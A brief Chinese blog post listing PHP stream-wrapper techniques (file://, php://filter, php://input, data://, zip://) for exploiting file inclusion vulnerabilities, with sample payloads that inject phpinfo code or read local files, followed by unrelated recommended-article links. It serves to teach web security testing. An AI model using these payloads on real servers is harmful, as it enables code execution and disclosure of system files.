文件包含漏洞PHP伪协议利用方法

使用file协议读取Windows的系统文件

使用php://filter协议可以将php代码进行base64编码后显示出来

php://input

抓包,并加上<?php phpinfo() ?>

data://

?cmd=data:text/plain,<?php%20phpinfo();?>

zip://

读取压缩包内的⽂件

?cmd=zip://d:/3.zip/3.txt

相关推荐
Z文的博客3 分钟前
【避坑实录】Qt 4.8.6 + Paho MQTT C客户端 + OpenSSL静态链接的血泪史
c语言·开发语言·qt·嵌入式linux
神仙别闹5 分钟前
基于Python实现上下消化道病历分类
开发语言·python·分类
一行代码一行诗++6 分钟前
转义字符和语句
c语言·开发语言·算法
逻辑驱动的ken15 分钟前
Java高频面试考点场景题16
java·开发语言·面试·职场和发展·求职招聘
xingpanvip16 分钟前
星盘接口开发文档:天象盘接口指南
android·开发语言·python·php·lua
DukeMr.Lee17 分钟前
有声书实现
java·开发语言
今夕资源网17 分钟前
Visual C++运行库合集 V104.0 一个github免费开源的项目VisualCppRedist AIO
开发语言·c++·dll修复工具·dll修复·运行库·修复软件
syagain_zsx18 分钟前
剖析“继承”,清晰易懂
开发语言·c++
qq_2837200520 分钟前
Qt5.12.8 QML Canvas ctx.setLineDash 失效终极解决方案
开发语言·qt
Season45021 分钟前
C++中论在类中成员变量定义顺序的重要性
开发语言·c++